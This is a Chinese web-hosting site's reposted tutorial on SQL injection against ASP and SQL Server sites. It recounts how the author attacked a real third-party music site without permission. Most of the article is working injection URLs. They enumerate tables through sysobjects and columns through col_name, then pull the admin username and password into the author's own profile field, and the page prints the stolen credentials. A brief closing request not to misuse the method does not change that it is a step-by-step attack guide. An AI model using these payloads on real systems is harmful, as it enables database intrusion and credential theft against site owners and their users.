电信主站 网通分站
购买流程 付款方式 常见问题 在线提问 续租服务 购物车
用户名: 密 码: 忘记密码?
首 页
域名注册
虚拟主机
双线主机
服务器租用
VPS主机
企业邮局
代理专区
客服中心
虚拟主机行业资讯 虚拟主机评测对比 互联网最新动态 技术学院 站长资讯 在线教程 网站运营
搜索优化 服务器 网络编程 图形图象 站长之家 网页制作 操作系统
冲浪宝典 软件教学 视频通信 办公软件 邮件系统 网络安全 认证考试
您当前位置:西部数码->资讯中心-> 网络安全-> 安全在线
有孔就入 sql injection的深入探讨_数据库安全
作者:网友供稿 点击:0
  西部数码-全国虚拟主机10强!20余项虚拟主机管理功能,全国领先!第6代双线路虚拟主机,南北访问畅通无阻!虚拟主机可在线rar解压,自动数据恢复设置虚拟目录等.虚拟主机免费赠送访问统计,企业邮局.Cn域名注册10元/年,自助建站480元起,免费试用7天,满意再付款!P4主机租用799元/月.月付免压金!
文章页数:[1] 

  SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。

  一、发现漏洞,常规注入

  最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:

Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/showspecial.asp,行13 

  Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

  1、提交http://********/showspecial.asp?Specialid=1817;use master;--

  注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..

  出现

Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13 

  想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])

  这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段

  一般来说:

  如果不存在该表的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13 

  不存在该字段的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13 

  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如<INPUT type=text name=username size=15>

  很幸运,果然存在user表和id字段

  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])

  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

  4、继续猜下去,这里我还是利用的他程序中的表单名,提交:

http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

  也存在,好了,到这里,我们的平台已经搭建好了。

  二、深入研究,让SQL自己招数据库结构

  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

   name 数据表的名字
   xtype 数据表的类型 u为用户表
   id 数据表的对象标志
   status 保留字段,用户表一般都是大于0的

  在查询分析器执行以下SQL语句(以我本地的数据库为例子)

select top 1 name from sysobjects where xtype=u and status>0

  我们马上就可以得到该数据库下用户表的第一个表名gallery

select top 1 id from sysobjects where xtype=u and name=gallery

  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048

select top 1 name from sysobjects where xtype=u and id>2099048

  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

  以此类推,我们可以得到所有的用户表的名字了

  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):

select top 1 col_name(object_id(gallery),1) from gallery

  得到gallery表的第一个字段名为id。

  注:

   col_name()的语法
   COL_NAME ( table_id , column_id )

  参数

   table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
   column_id:列的标识号。column_id 参数属于 int 类型。

  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号

  以此类推得到该表所有的字段名称

  三、再次渗透攻击

  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

  依然是那个页,我们提交

http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  服务器返回

ADODB.Recordset 错误 800a0cb3

  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

  出师不利,可能该页记录集打开方式是只读,我们再换一个页

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。

  好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--

  得到第1个字段为:id

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--

  得到第2个字段为:username

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--

  得到第2个字段为:password

  到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。

  我们拿到的id值是44

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--

  将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--

  将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

  怎么样,拿到密码了吧?

  四、总结

  在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!


文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!
相关主题
文章页数:[1] 
Google
热门文章
·web动画图像分解在vb动画设计中的应用_visualbasic教程
·保护sql server的十个步骤_数据库安全
·趣味撞球--vb5应用程序一例_visualbasic教程
·visualbasic使用技巧_visualbasic教程
·vb图片框在报表设计中屏幕滚动的问题_visualbasic教程
·用vb获取桌面图象_visualbasic教程
·vb编程经验点滴_visualbasic教程
·vb开发通讯软件_visualbasic教程
·用vb5.0从recordset中打印列表_visualbasic教程
·美出现在线密码管理网站服务 解决记忆困扰_互联网

最新文章
·网页恶意代码的防疫
·中国黑客超强X档案 第25章:一个少年黑客的独白
·中国黑客超强X档案 第24章:营造中国特色的黑客文化
·中国黑客超强X档案 第23章:黑客实战纪实
·中国黑客超强X档案 第22章:黑客近景写真
·中国黑客超强X档案 第21章:帽子的抉择
·中国黑客超强X档案 第20章:安全焦点
·中国黑客超强X档案 第19章:“流光异彩”话小榕
·中国黑客超强X档案 第18章:黑客的天堂
·中国黑客超强X档案 第17章:中国鹰派


 
 


版权申明:本站文章均来自网络,如有侵权,请联系我们,我们收到后立即删除,谢谢!

特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
  打印  刷新  关闭
返回首页 |关于我们 | 联系我们 | 付款方式 | 创业联盟 | 虚拟主机 | 资讯中心 | 友情链接 | 网站地图

版权所有 西部数码(www.west263.com)
CopyRight (c) 2002~2006 west263.com all right reserved.
公司地址:四川成都市万和路90号天象大厦4楼 邮编:610031
电话总机:028-86262244 86263048 86263408 86263960 86264018 86267838
售前咨询:总机转201 202 203 204 206 208
售后服务:总机转211 212 213 214
财务咨询:总机转224 223 传真:028-86264041 财务QQ:点击发送消息给对方635483282
售前咨询QQ:点击发送消息给对方2182518 点击发送消息给对方241975952 点击发送消息给对方275026793 点击发送消息给对方408235859
售后服务QQ:点击发送消息给对方17708515 点击发送消息给对方307742704 点击发送消息给对方287976517 点击发送消息给对方363783715
《中华人民共和国增值电信业务经营许可证》编号:川B2-20030065号